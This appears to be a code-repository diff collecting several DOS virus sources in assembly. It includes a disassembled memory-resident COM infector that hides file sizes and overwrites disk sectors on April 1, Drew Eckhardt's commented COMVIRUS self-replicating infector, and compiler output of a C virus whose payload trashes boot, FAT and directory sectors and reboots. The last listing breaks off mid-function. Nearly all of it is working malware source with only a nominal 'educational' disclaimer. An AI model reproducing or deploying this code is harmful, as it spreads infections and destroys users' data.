||||
add word ptr ds:[pos],9*160
|
||||
jmp writebig
|
||||
endwrt:
|
||||
ret
|
||||
|
||||
bigchar:
|
||||
mov di,0b800h
|
||||
mov es,di
|
||||
mov di,word ptr cs:[pos]
|
||||
mov cx,8
|
||||
cycle01:
|
||||
push cx
|
||||
lodsb
|
||||
mov cx,7
|
||||
cycle02:
|
||||
push ax
|
||||
shr al,cl
|
||||
and al,1
|
||||
jnz setbit
|
||||
mov al,32
|
||||
jmp short printbit
|
||||
setbit:
|
||||
mov al,219
|
||||
printbit:
|
||||
stosb
|
||||
inc di
|
||||
pop ax
|
||||
loop cycle02
|
||||
add di,160-14
|
||||
pop cx
|
||||
loop cycle01
|
||||
add word ptr ds:[pos],di
|
||||
ret
|
||||
|
||||
pos dw 0
|
||||
mes db 'Criminal!',255,'by WW /DC',0
|
||||
|
||||
virlen:
|
||||
push cx
|
||||
mov ax,offset speend
|
||||
sub ax,offset start
|
||||
mov cx,3
|
||||
shr ax,cl
|
||||
add ax,10h
|
||||
pop cx
|
||||
ret
|
||||
|
||||
jmptome db 0eah
|
||||
dw offset ent21
|
||||
mycs dw 0
|
||||
oldbyte dw 18h / 2 dup (20cdh)
|
||||
bytes dw 18h / 2 dup (20cdh)
|
||||
v01 dw 0,0
|
||||
setjmp db 0
|
||||
counter db 0
|
||||
saveip dw 0
|
||||
traceok db 0
|
||||
fdate dw 0
|
||||
ftime dw 0
|
||||
fname dw 0,0
|
||||
attr dw 0
|
||||
flen dw 0,0
|
||||
v24 dw 0,0
|
||||
infcnt dw 0
|
||||
extrn spe:near
|
||||
extrn speend:near
|
||||
extrn rndget:near
|
||||
last:
|
||||
end start
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,274 @@
|
||||
PAGE 60,132
|
||||
;
|
||||
XSEG SEGMENT
|
||||
; Seg=01387H
|
||||
; Org=00000H
|
||||
ASSUME CS:XSEG
|
||||
XPROC PROC FAR
|
||||
JMP L6551
|
||||
DEC BX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
CALL L0009
|
||||
L0009: POP SI
|
||||
SUB SI,+09H
|
||||
PUSH SI
|
||||
CLD
|
||||
MOV DI,0100H
|
||||
MOV CX,0005H
|
||||
MOVSB
|
||||
JMP L01CE
|
||||
L001A: PUSHF
|
||||
PUSH CS
|
||||
CALL WORD PTR CS:[08C0H]
|
||||
DB 0C3H; RET
|
||||
STI
|
||||
CMP AH,4BH
|
||||
JE L0061
|
||||
CMP AH,11H
|
||||
JE L0035
|
||||
CMP AH,12H
|
||||
JE L0035
|
||||
JMP L01C0
|
||||
L0035: CALL L001A
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH ES
|
||||
MOV AH,2FH
|
||||
CALL L001A
|
||||
MOV AX,534BH
|
||||
CMP ES:[BX+1EH],AX
|
||||
JNE L0050
|
||||
MOV AX,0254H
|
||||
SUB ES:[BX+24H],AX
|
||||
L0050: POP ES
|
||||
POP BX
|
||||
POP AX
|
||||
RET 0002H; 0CAH
|
||||
L0056: MOV BX,0F200H
|
||||
MOV CX,0001H
|
||||
MOV DH,00H
|
||||
INT 13H
|
||||
DB 0C3H; RET
|
||||
L0061: PUSHF
|
||||
PUSH SS
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
XOR AX,AX
|
||||
MOV DS,AX
|
||||
MOV DI,DS:[0194H]
|
||||
MOV ES,DS:[0196H]
|
||||
MOV AX,WORD PTR DS:[004CH]
|
||||
MOV BX,DS:[004EH]
|
||||
MOV CX,0F000H
|
||||
MOV DX,0EC59H
|
||||
MOV DS:[0100H],DX
|
||||
MOV DS:[0102H],CX
|
||||
MOV WORD PTR DS:[0198H],AX
|
||||
MOV DS:[019AH],BX
|
||||
MOV DS:[004CH],DI
|
||||
MOV DS:[004EH],ES
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV AH,19H
|
||||
CALL L001A
|
||||
CMP AL,01H
|
||||
JNBE L00BB
|
||||
MOV DL,AL
|
||||
MOV AX,0201H
|
||||
CALL L0056
|
||||
MOV AX,0301H
|
||||
CALL L0056
|
||||
CMP AH,00H
|
||||
JNE L00D0
|
||||
L00BB: MOV AH,2AH
|
||||
CALL L001A
|
||||
CMP DX,0401H
|
||||
JNE L00D3
|
||||
MOV AX,030FH
|
||||
MOV DL,80H
|
||||
CALL L0056
|
||||
CLI
|
||||
HLT
|
||||
L00D0: JMP L01A4
|
||||
L00D3: MOV AH,2FH
|
||||
CALL L001A
|
||||
MOV CS:[08B0H],ES
|
||||
MOV CS:[08B2H],BX
|
||||
MOV AH,4EH
|
||||
MOV DX,0BD5H
|
||||
MOV CX,0000H
|
||||
CALL L001A
|
||||
JB L00D0
|
||||
L00EF: MOV AX,534BH
|
||||
CMP ES:[BX+16H],AX
|
||||
JNE L0101
|
||||
L00F8: MOV AH,4FH
|
||||
CALL L001A
|
||||
JB L00D0
|
||||
JMP SHORT L00EF
|
||||
L0101: MOV CX,05DCH
|
||||
CMP ES:[BX+1AH],CX
|
||||
JBE L00F8
|
||||
PUSH ES
|
||||
POP DS
|
||||
MOV AX,3D02H
|
||||
MOV DX,BX
|
||||
ADD DX,+1EH
|
||||
CALL L001A
|
||||
MOV WORD PTR CS:[0C65H],AX
|
||||
MOV BX,AX
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,3FH
|
||||
MOV DX,0A10H
|
||||
MOV CX,0005H
|
||||
CALL L001A
|
||||
MOV DX,5A4DH
|
||||
CMP DS:[0A10H],DX
|
||||
JE L019A
|
||||
MOV DI,0C67H
|
||||
MOV AL,0E9H
|
||||
MOV [DI],AL
|
||||
INC DI
|
||||
MOV BX,DS:[08B2H]
|
||||
MOV CX,ES:[BX+1AH]
|
||||
INC CX
|
||||
INC CX
|
||||
MOV [DI],CX
|
||||
INC DI
|
||||
INC DI
|
||||
MOV AX,534BH
|
||||
MOV [DI],AX
|
||||
MOV BX,CS:[0C65H]
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL L001A
|
||||
MOV AH,40H
|
||||
MOV DX,0C67H
|
||||
MOV CX,0005H
|
||||
CALL L001A
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL L001A
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV BX,CS:[0C65H]
|
||||
MOV AH,40H
|
||||
MOV DX,0A10H
|
||||
MOV CX,0254H
|
||||
CALL L001A
|
||||
JB L019A
|
||||
MOV BX,CS:[0C65H]
|
||||
MOV AX,5700H
|
||||
CALL L001A
|
||||
MOV AX,5701H
|
||||
MOV CX,534BH
|
||||
CALL L001A
|
||||
L019A:
|
||||
MOV BX,CS:[0C65H]
|
||||
MOV AH,3EH
|
||||
CALL L001A
|
||||
L01A4: XOR AX,AX
|
||||
MOV DS,AX
|
||||
MOV AX,WORD PTR DS:[0198H]
|
||||
MOV BX,DS:[019AH]
|
||||
MOV WORD PTR DS:[004CH],AX
|
||||
MOV DS:[004EH],BX
|
||||
POP DI
|
||||
POP SI
|
||||
POP ES
|
||||
POP DS
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP SS
|
||||
POPF
|
||||
L01C0:
|
||||
JMP WORD PTR CS:[08C0H]
|
||||
SUB CH,DS:[6F63H]
|
||||
DB 6DH
|
||||
ADD [BX+SI+0CF03H],DH
|
||||
L01CE: MOV AX,0070H
|
||||
MOV ES,AX
|
||||
MOV DI,0000H
|
||||
MOV AX,80FBH
|
||||
L01D9: CLD
|
||||
MOV CX,0FFFFH
|
||||
SCASW
|
||||
JE L01E6
|
||||
MOV DI,0001H
|
||||
JMP SHORT L01D9
|
||||
L01E6: MOV BX,02FCH
|
||||
CMP ES:[DI],BX
|
||||
JNE L01DD
|
||||
DEC DI
|
||||
DEC DI
|
||||
XOR AX,AX
|
||||
MOV DS,AX
|
||||
MOV DS:[0194H],DI
|
||||
MOV DS:[0196H],ES
|
||||
MOV ES,DS:[009EH]
|
||||
MOV BX,DS:[00A0H]
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,BP
|
||||
MOV BP,DS
|
||||
POP SI
|
||||
PUSH SI
|
||||
MOV DI,0A10H
|
||||
MOV CX,0255H
|
||||
MOVSB
|
||||
PUSH ES
|
||||
LEA DI,[BX+1BH]
|
||||
MOV AL,0E9H
|
||||
STOSB
|
||||
MOV AX,0A30H
|
||||
SUB AX,DI
|
||||
STOSW
|
||||
MOV AX,9090H
|
||||
STOSW
|
||||
STOSW
|
||||
MOV ES:[08C0H],DI
|
||||
MOV AX,SS
|
||||
SUB AX,0018H
|
||||
CLI
|
||||
MOV SS,AX
|
||||
PUSH CS
|
||||
POP SS
|
||||
STI
|
||||
MOV DS,BP
|
||||
MOV BP,DX
|
||||
POP ES
|
||||
PUSH CS
|
||||
POP ES
|
||||
POP SI
|
||||
POP CX
|
||||
XOR DX,DX
|
||||
XOR SI,SI
|
||||
XOR AX,AX
|
||||
XOR BX,BX
|
||||
MOV DI,0100H
|
||||
JMP DI
|
||||
DEC BP
|
||||
DB 69H
|
||||
DB 6CH
|
||||
DB 65H
|
||||
DB 6EH
|
||||
DB 61H
|
||||
AND [BP+DI+02H],CL
|
||||
XPROC ENDP
|
||||
XSEG ENDS
|
||||
END
|
||||
|
||||
@@ -0,0 +1,458 @@
|
||||
title COMVIRUS
|
||||
subttl By Drew Eckhardt
|
||||
subttl Latest revision: 4-28-1991
|
||||
|
||||
;The author of this virus intends it to be used for educational
|
||||
;purposes only, and assumes no responsibilities for its release,
|
||||
;dammages resulting from its use, including but not limited to
|
||||
;equipment dammage or data loss.
|
||||
|
||||
;By assembling or examining this program, The user agrees to accept all
|
||||
;responsibility for this programs use, or any portions of the code
|
||||
;or concepts contained within. The user also agrees to not publicly release
|
||||
;this virus, and to exercise necessary precautions to prevent its escape.
|
||||
;The user accepts all responsibility arising from his actions.
|
||||
|
||||
;Don't come crying to me if your hard disk gets infected,
|
||||
;as THERE IS NO ANTIDOTE. HAHAHAH.
|
||||
|
||||
|
||||
;Revision history:
|
||||
;4-13: initial bug-free release, size=424 bytes with carrier
|
||||
|
||||
;4-15: added no date change support, size=438 bytes with carrier
|
||||
|
||||
;4-16: minor documentation changes, size=438 bytes with carrier,
|
||||
; NO CODE CHANGE from 4-15 revision
|
||||
|
||||
;4-21: fixed missing hex h suffixs, made MASM friendly,
|
||||
; fixed incorrect assume statement (assume statements are ignored
|
||||
; by A86) enabled hard/floppy infection based on floppy_only status
|
||||
; size=438 bytes IF floppy_only, 424 bytes if not, with carrier.
|
||||
; minimum virus length = 419 bytes
|
||||
|
||||
;4-23: added control over how many programs are infected per run,
|
||||
; switched method of infection, from copying to DTA then writing
|
||||
; to disk to straight write to disk from memory.
|
||||
; size=412 bytes IF floppy_only, 398 bytes if not, with carrier.
|
||||
; minimum virus length = 393 bytes
|
||||
|
||||
;4-28: used set DTA instead of default DTA/copy command line
|
||||
; buffer, which had been used based on incorrect assumption
|
||||
; eliminated calls to get time/date, get attribs
|
||||
; by using information from find first/find next functions 4eh/4fh
|
||||
; made warning optional for reduced space if desired. Also
|
||||
; changed mov reg16, bp add reg16, constant to shorter LEA instruction.
|
||||
; size=354 bytes IF floppy_only, warning on W/carrier
|
||||
; 340 bytes IF w/warning & carrier program
|
||||
; 286 bytes w/o warning, in program
|
||||
; minimum virus length = 281 bytes for virus itself
|
||||
|
||||
;4-28pm: instead of near CALL-pop sequences everywhere, switched to
|
||||
; a single CALL near ptr Reference_Point, putting the result into
|
||||
; si now that (until the end) string mode addressing is not used.
|
||||
; Changed places where a register (used as an index)
|
||||
; was being loaded THEN added to a single LEA isntruction
|
||||
; size = 340 bytes if floppy_only, warning on w/carrier
|
||||
; size = 326 bytes if w/warning & carrier
|
||||
; size = 272 w/o warning
|
||||
; minimum virus length = 267 bytes for the virus itself
|
||||
|
||||
;4-28pm2: Eliminated unecessary flush buffers call.
|
||||
; size = 336 bytes if floppy_only w/carrier
|
||||
; size = 322 bytes w/warning & carrier
|
||||
; size = 268 w/o warning
|
||||
; minimum virus length = 263 bytes for virus itself
|
||||
|
||||
;4-30: restored 5 bytes of original code at CS:0100
|
||||
; before infecting other programs, allowing the
|
||||
; original code field to be modified so one disk write could be
|
||||
; used instead of two
|
||||
; minor documentation revisions - corrected incorrect
|
||||
; opcodes in documentation
|
||||
; size = 326 bytes if floppy_only w/carrier
|
||||
; size = 312 bytes w/warning & carrier program
|
||||
; size = 258 bytes w/carrier program
|
||||
; Minimum virus length = 253 bytes for the virus itself
|
||||
|
||||
;NOTE: The program is currently "set up" for A86 assembly with all
|
||||
;conditional assembly symbols. #IF and #ENDIF should be replaced with
|
||||
;MASM IFDEF and ENDIF directives for propper operation.
|
||||
;Also, instead of using EQUates to define control symbols, the /D
|
||||
;option or DEFINE could be used.....
|
||||
|
||||
|
||||
;COMVIRUS.ASM must be assembled into a .COM file inorder to function
|
||||
;properly. For convieniece, I recommend an assembler like A86 that will
|
||||
;assemble to a .COM file without having to go through LINK and EXE2BIN
|
||||
|
||||
;As is, it will infect .COM files located on the current disk.
|
||||
;ONLY if it is a floppy disk, ONLY in the root directory.
|
||||
|
||||
;This is a .COM infector virus, which, does nothing other than print a
|
||||
;warning message, and spread to all files on the default disk IFF it is
|
||||
;a floppy disk, in the root directory.
|
||||
|
||||
;Theory:
|
||||
;This is a non - overwriting virus. I took special precautions to preserve
|
||||
;all functionality of the original program, including command line, parsed FCB,
|
||||
;and segment register preservation. This makes the virus harder to detect.
|
||||
|
||||
;The .COM file is a memory image - with no relocation table. Thus, it
|
||||
;is an easy target for a virus such as this.
|
||||
|
||||
;Infected file format
|
||||
;jmp near ptr xxxx
|
||||
;cli cli ;ID bytes
|
||||
;ORIGINAL program code, sans 5 bytes
|
||||
;5 bytes ORIGINAL program code
|
||||
;VIRUS
|
||||
|
||||
;This format makes infection VERY simple. We merely check for our signature
|
||||
;(in this case cli cli (fa fa) - instructions that no programmer in his
|
||||
;right mind would use - loading the original five bytes in the process.
|
||||
;These original bytes are written to the end of the program, then
|
||||
;A jump to where the virus is.
|
||||
|
||||
;While infection is easy, this method presents some coding problems, as the
|
||||
;virus does not know where in memory it is. Therefor, When we want to access
|
||||
;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the
|
||||
;stack which is then popped. Addresses are then calculated relative to this
|
||||
;via LEA
|
||||
|
||||
;To run the program as normal, command line is restored, registers restored,
|
||||
;And original code copied onto the first five bytes of the program.
|
||||
|
||||
|
||||
;Program control symbols defined here
|
||||
floppy_only equ 1
|
||||
infect_per_run equ 1 ;number of programs infected per run
|
||||
warn_user equ 1
|
||||
|
||||
_TEXT segment byte 'CODE'
|
||||
assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT
|
||||
org 100h
|
||||
|
||||
Start: jmp infect;
|
||||
|
||||
;This is our signature
|
||||
cli
|
||||
cli
|
||||
|
||||
;Original code is the data field where we store the original program code
|
||||
;which will replace our signature and jmp to infect
|
||||
|
||||
Original_Code: int 20h ;five bytes that simply terminate
|
||||
nop ;the program
|
||||
nop
|
||||
nop
|
||||
|
||||
|
||||
|
||||
;Data for the virus. In a destructive virus, you would want to encrypt
|
||||
;any strings using a simple one's complement (not) operation so as to
|
||||
;thwart detection via text search utilities. Since we want detection to
|
||||
;be easy, this un-encrypted form is fine.
|
||||
|
||||
|
||||
Start_Virus:
|
||||
#IF warn_user
|
||||
Warning db "This file infected with COMVIRUS 1.0",10,13,'$'
|
||||
#ENDIF
|
||||
|
||||
;VirusMask is simply an ASCIIZ terminated string of the files we wish to
|
||||
;infect.
|
||||
|
||||
VirusMask db '*.COM', 0
|
||||
Infect:
|
||||
push ax ;on entry to a .COM program, STACK:
|
||||
;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp
|
||||
;for the two FCB's in here. Save
|
||||
;'em
|
||||
|
||||
;I use special trickery to find location of data. Since
|
||||
;NEAR calls/jmps are RELATIVE, call near ptr find_warn is
|
||||
;translated to e8 0000 - which will simply place the location
|
||||
;of Reference onto the stack. Our data can be found relative to
|
||||
;this point.
|
||||
|
||||
call near ptr Reference ;All data is reference realative to
|
||||
;Reference
|
||||
|
||||
|
||||
Reference: pop bx ;which is placed into bx for LEA
|
||||
;instructions
|
||||
;bx now contains the REAL address of
|
||||
;Reference
|
||||
;si points to real address of original
|
||||
;code field
|
||||
lea si, [bx-(offset Reference - offset Original_Code)]
|
||||
mov di, 0100h ;original code is at 100h
|
||||
mov cx, 5 ;5 bytes
|
||||
cld ;from start of buffer
|
||||
rep movsb ;do it
|
||||
|
||||
mov si, bx ;since BX is used in handle
|
||||
;based DOS calls, for the remainder
|
||||
;of the virus, si will contain the
|
||||
;actual address of reference
|
||||
|
||||
#IF warn_user
|
||||
|
||||
;Always calculate the address of data relative to known Reference
|
||||
;Point
|
||||
lea dx, [si-(offset Reference - offset Warning)]
|
||||
mov ah,9h ;DO dos call, DS:DX pointing
|
||||
int 21h ;to $ terminated string
|
||||
|
||||
;We want to make sure that the user gets the message
|
||||
|
||||
WaitForKey:
|
||||
mov ah, 0bh ;we will wait for a keypress
|
||||
int 21h ;signifying the user has
|
||||
or al, al ;seen the message.
|
||||
jz WaitForKey
|
||||
|
||||
#ENDIF
|
||||
|
||||
#IF FLOPPY_ONLY
|
||||
|
||||
;Since this is a simple demonstration virus, we will only infect
|
||||
;.COM files on the default drive IFF it is a floppy disk....
|
||||
;So, we will get information about the disk drive.
|
||||
|
||||
|
||||
push ds ;ds:bx returns a byte to
|
||||
;media descriptor
|
||||
|
||||
mov ah, 1bh ;get disk information STACK
|
||||
int 21h ;DOIT ax (drive ID's)
|
||||
cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp
|
||||
|
||||
pop ds ;restore ds STACK
|
||||
jne Floppy ;if it was hard.... ax <--sp
|
||||
jmp near ptr done ;we're nice guys and are done
|
||||
|
||||
Floppy: ;Since it was floppy, we can go on with the infection!
|
||||
#ENDIF
|
||||
;The default DTA, as is will give us problems. The designers of
|
||||
;MickeySoft DOS decided to put default DTA at ofset 128 in
|
||||
;the PSP. PROBLEM: This is also where the user's precious command
|
||||
;line is, and we MUST remain undectected. SO.... we allocate a
|
||||
;DTA buffer on the stack. 43 bytes are needed, 44 will do.
|
||||
|
||||
sub sp, 44 ;allocate space for findfirst/findnext DTA
|
||||
mov bp, sp ;set up bp as a reference to this area
|
||||
|
||||
;Set the DTA
|
||||
mov dx, bp ;point DS:DX to our area
|
||||
mov ah, 1ah ;set DTA
|
||||
int 21h
|
||||
|
||||
;Set up pointers to data in DTA
|
||||
dta equ word ptr [bp]
|
||||
file_name equ word ptr [bp+1eh]
|
||||
attributes equ byte ptr [bp+15h]
|
||||
time_stamp equ word ptr [bp+16h]
|
||||
date_stamp equ word ptr [bp+18h]
|
||||
file_size equ dword ptr [bp+1ah]
|
||||
|
||||
;We dynamically allocate a variable to store the number of programs STACK
|
||||
;The virus has infected. FCB drives
|
||||
; bp--> 44 byte DTA
|
||||
infected_count equ byte ptr[bp-2]; Infected_Count
|
||||
xor ax, ax ;zero variable, sp--> buffer (6 bytes)
|
||||
push ax ;allocate it on the stack
|
||||
sub sp, 6 ;allocate small buffer
|
||||
|
||||
;Now, we begin looking for files to infect.
|
||||
lea dx, [si - (offset Reference - offset VirusMask)]
|
||||
;DS:DX points to the search string STACK
|
||||
mov ah, 4eh ;find first matching directory entry FCB drives (word)
|
||||
mov cx, 111b ;only default directory, FILES
|
||||
;hidden, system and normal
|
||||
int 21h ;doit bp--> 44 byte DTA buffer
|
||||
; infected count (word)
|
||||
jnc Research ;carry is clear when a file was sp--> 6 byte buffer
|
||||
jmp nofile ;found.
|
||||
|
||||
|
||||
ReSearch:
|
||||
;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx
|
||||
lea dx, file_name
|
||||
|
||||
;Since this is a virus, we want to infect files that can't be touched by
|
||||
;DOS commands, this means readonly, system, and hidden files are at our
|
||||
;mercy. To do this, we rely on the findfrst/next attributes and other data
|
||||
;to restore the attribute byte to the original settings. get/SET can fix
|
||||
;them to be suitable
|
||||
mov cl, attributes
|
||||
and cl, 11100000b ;not readonly, system, or hidden STACK
|
||||
; FCB drives
|
||||
mov ax, 4301h ;set attributes bp--> buffer (44 bytes)
|
||||
int 21h ; buffer (6 bytes)
|
||||
; sp--> infected_count
|
||||
jnc NoError ;check for error
|
||||
jmp Restore_Flags
|
||||
NoError:
|
||||
mov ax, 3d02h ;now, open file using handle,
|
||||
;read/write access
|
||||
int 21h ;
|
||||
jnc NoError2 ;IF there was an error, we are done
|
||||
jmp Restore_Flags ;But we don't need to commit or close
|
||||
|
||||
NoError2:
|
||||
mov bx, ax ;The handle was returned in ACC.
|
||||
;Howwever, all handle based DOS
|
||||
;calls expect it in BX
|
||||
|
||||
|
||||
;We don't want to infect the program more than once, so we will
|
||||
;check to see if it is infected.
|
||||
|
||||
|
||||
mov ax, 4200h ;seek relative to start of file
|
||||
; bx contains handle from open operation
|
||||
xor cx,cx ;cx:dx is file pointer
|
||||
xor dx, dx ;
|
||||
int 21h ;DOIT
|
||||
|
||||
;Now, we will read in enough data to see if we have our virus signature.
|
||||
mov ah, 3fh ;read data
|
||||
lea dx, [si-(offset reference-offset original_code)]
|
||||
;into original_code buffer
|
||||
mov cx, 5 ;5h bytes
|
||||
; bx contains handle from last operation
|
||||
int 21h
|
||||
|
||||
cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah
|
||||
jne GoApe ;if we aren't already infected,
|
||||
jmp Error ;go for it
|
||||
|
||||
GoApe:
|
||||
;Since it is safe to infect, we will
|
||||
mov ax, 4202h ;seek end of file
|
||||
xor cx, cx
|
||||
xor dx, dx
|
||||
int 21h
|
||||
|
||||
or dx, dx ;check for valid .COM format
|
||||
jz Less_Than_64K
|
||||
jmp Error
|
||||
|
||||
Less_Than_64K:
|
||||
|
||||
;Now, we must calculate WHERE the jump will be to. Let's examine the program
|
||||
;Structure:
|
||||
;jmp near ptr xxxx
|
||||
;Cli Cli }These add up to the original length
|
||||
;Orignal code sans 5 bytes
|
||||
|
||||
;Original_Code (5 bytes) }The length of all virus data
|
||||
;Other virus data is equal to the difference in
|
||||
;Infect the addresses of Infect and Original_Code
|
||||
|
||||
;End_Virus
|
||||
|
||||
|
||||
;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin)
|
||||
;However, in the 80x86, NEAR jumps are calculated as an offset from the position
|
||||
;of the next statement to execute (because of fetch/execute cycle operation).
|
||||
|
||||
;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from
|
||||
;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code
|
||||
;+Original_Length-3);
|
||||
|
||||
;Since AX already contains the original length, we will merely add
|
||||
;Space for the virus data, and take care of the three bytes
|
||||
;of code generated by the jmp near instruction.
|
||||
|
||||
add ax, (offset Infect - Offset Original_Code -3)
|
||||
|
||||
;calculate jump address
|
||||
mov byte ptr [bp-8], 0e9h ;jmp near instruction
|
||||
mov word ptr [bp-7], ax ;offset for near jmp
|
||||
mov word ptr [bp-5], 0fafah ;cli cli
|
||||
|
||||
mov ax, 4200h ;seek begining of file
|
||||
xor cx, cx
|
||||
mov dx, cx
|
||||
int 21h
|
||||
|
||||
mov ah, 40h ;write patched code
|
||||
mov cx, 5 ;5 bytes of code
|
||||
lea dx, [bp-8] ;our buffer
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h ;seek EOF
|
||||
xor cx, cx
|
||||
xor dx, dx
|
||||
int 21h
|
||||
|
||||
|
||||
lea dx, [si - (offset Reference - offset Original_Code)]; set start
|
||||
mov cx, (offset End_Virus - offset Original_Code) ;set length
|
||||
mov ah, 40h ;append virus to file
|
||||
int 21h ;doit
|
||||
|
||||
inc infected_Count ;bump up the number of programs infected
|
||||
|
||||
Error: mov dx,date_stamp ;restore date
|
||||
mov cx,time_stamp ;restore time
|
||||
mov ax, 5701h ;set them
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh ;close file
|
||||
int 21h
|
||||
|
||||
Restore_Flags:
|
||||
xor ch, ch ;zero hi byte flags
|
||||
mov cl,attributes ;restore flags
|
||||
lea dx, file_name ;ds:dx points to ASCIIZ string
|
||||
;in the buffer, offset 1eh contains
|
||||
;the file name
|
||||
mov ax, 4301h ;get/SET flags
|
||||
int 21h ;Doit
|
||||
|
||||
DoAgain:;See if we're done infecting
|
||||
cmp infected_count, infect_per_run
|
||||
jae NoFile ;if we're done, same as no new file
|
||||
|
||||
|
||||
mov ah, 4fh ;find next
|
||||
int 21h
|
||||
|
||||
jc NoFile ;if carry is clear, DOIT again!
|
||||
jmp ReSearch
|
||||
|
||||
;Since we have no more files, we will restore things to normal.
|
||||
NoFile:
|
||||
mov dx, 80h ;reset default dta at DS:80h
|
||||
mov ah, 1ah ;set DTA
|
||||
int 21h
|
||||
|
||||
add sp, 52 ;deallocate buffers and infected_count
|
||||
|
||||
|
||||
|
||||
;Put original code of program BEFORE it was infected back in place!
|
||||
|
||||
|
||||
Done:
|
||||
pop ax ;restore ax
|
||||
|
||||
|
||||
;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take
|
||||
;a RELATIVE address...... BUT a retn opcode pops a near absolute
|
||||
;address of the stack - saves us the trouble of some calculating
|
||||
;relative to here, and the trouble of a self-modifying
|
||||
;far absolute jmp! (5 bytes)
|
||||
|
||||
mov bx, 0100h
|
||||
push bx
|
||||
ret ;easiest jump to cs:100
|
||||
|
||||
End_Virus:
|
||||
_TEXT ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,596 @@
|
||||
ifndef ??version
|
||||
?debug macro
|
||||
endm
|
||||
$comm macro name,dist,size,count
|
||||
comm dist name:BYTE:count*size
|
||||
endm
|
||||
else
|
||||
$comm macro name,dist,size,count
|
||||
comm dist name[size]:BYTE:count
|
||||
endm
|
||||
endif
|
||||
?debug S "cvirus.c"
|
||||
?debug C E9A18C4217086376697275732E63
|
||||
?debug C E90008A41413433A5C54435C494E434C5544455C6469722E68
|
||||
?debug C E90008A41413433A5C54435C494E434C5544455C646F732E68
|
||||
?debug C E90008A41415433A5C54435C494E434C5544455C66636E746C2E68
|
||||
?debug C E90008A41412433A5C54435C494E434C5544455C696F2E68
|
||||
?debug C E90008A41416433A5C54435C494E434C5544455C7374646172672E+
|
||||
?debug C 68
|
||||
?debug C E90008A41415433A5C54435C494E434C5544455C737464696F2E68
|
||||
_TEXT segment byte public 'CODE'
|
||||
_TEXT ends
|
||||
DGROUP group _DATA,_BSS
|
||||
assume cs:_TEXT,ds:DGROUP
|
||||
_DATA segment word public 'DATA'
|
||||
d@ label byte
|
||||
d@w label word
|
||||
_DATA ends
|
||||
_BSS segment word public 'BSS'
|
||||
b@ label byte
|
||||
b@w label word
|
||||
_BSS ends
|
||||
_DATA segment word public 'DATA'
|
||||
_screw_virex label byte
|
||||
db 245
|
||||
db 35
|
||||
db 114
|
||||
db 150
|
||||
db 84
|
||||
db 250
|
||||
db 227
|
||||
db 188
|
||||
db 205
|
||||
db 4
|
||||
db 0
|
||||
_DATA ends
|
||||
_TEXT segment byte public 'CODE'
|
||||
;
|
||||
; void hostile_activity(void)
|
||||
;
|
||||
assume cs:_TEXT
|
||||
_hostile_activity proc near
|
||||
push bp
|
||||
mov bp,sp
|
||||
;
|
||||
; {
|
||||
; /* Put whatever you feel like doing here...
|
||||
; I chose to make this routine trash the victim's boot, FAT, and
|
||||
; directory sectors, but you can alter this code however you want,
|
||||
; and are encouraged to do so.
|
||||
; */
|
||||
;
|
||||
;
|
||||
; #ifdef DEBUG
|
||||
; puts("\aAll files infected!");
|
||||
; exit(1);
|
||||
; #else
|
||||
; /* Overwrite five sectors, starting with sector 0, on C:, with the
|
||||
; memory at location DS:0000 (random garbage).
|
||||
; */
|
||||
;
|
||||
; abswrite(2, 5, 0, (void *) 0);
|
||||
;
|
||||
xor ax,ax
|
||||
push ax
|
||||
xor dx,dx
|
||||
push ax
|
||||
push dx
|
||||
mov ax,5
|
||||
push ax
|
||||
mov ax,2
|
||||
push ax
|
||||
call near ptr _abswrite
|
||||
add sp,10
|
||||
;
|
||||
; __emit__(0xCD, 0x19); // Reboot computer
|
||||
;
|
||||
db 205
|
||||
db 25
|
||||
;
|
||||
; #endif
|
||||
; }
|
||||
;
|
||||
pop bp
|
||||
ret
|
||||
_hostile_activity endp
|
||||
_TEXT ends
|
||||
_DATA segment word public 'DATA'
|
||||
db 78
|
||||
db 77
|
||||
db 65
|
||||
db 78
|
||||
db 0
|
||||
_DATA ends
|
||||
_TEXT segment byte public 'CODE'
|
||||
;
|
||||
; int infected(char *fname)
|
||||
;
|
||||
assume cs:_TEXT
|
||||
_infected proc near
|
||||
push bp
|
||||
mov bp,sp
|
||||
sub sp,36
|
||||
push si
|
||||
;
|
||||
; {
|
||||
; /* This function determines if fname is infected. It reads four
|
||||
; bytes 28 bytes in from the start and checks them agains the
|
||||
; current header. 1 is returned if the file is already infected,
|
||||
; 0 if it isn't.
|
||||
; */
|
||||
;
|
||||
; register int handle;
|
||||
; char virus_signature[35];
|
||||
; static char check[] = SIGNATURE;
|
||||
;
|
||||
; handle = _open(fname, O_RDONLY);
|
||||
;
|
||||
mov ax,1
|
||||
push ax
|
||||
push word ptr [bp+4]
|
||||
call near ptr __open
|
||||
add sp,4
|
||||
mov si,ax
|
||||
;
|
||||
; _read(handle, virus_signature, sizeof(virus_signature));
|
||||
;
|
||||
mov ax,35
|
||||
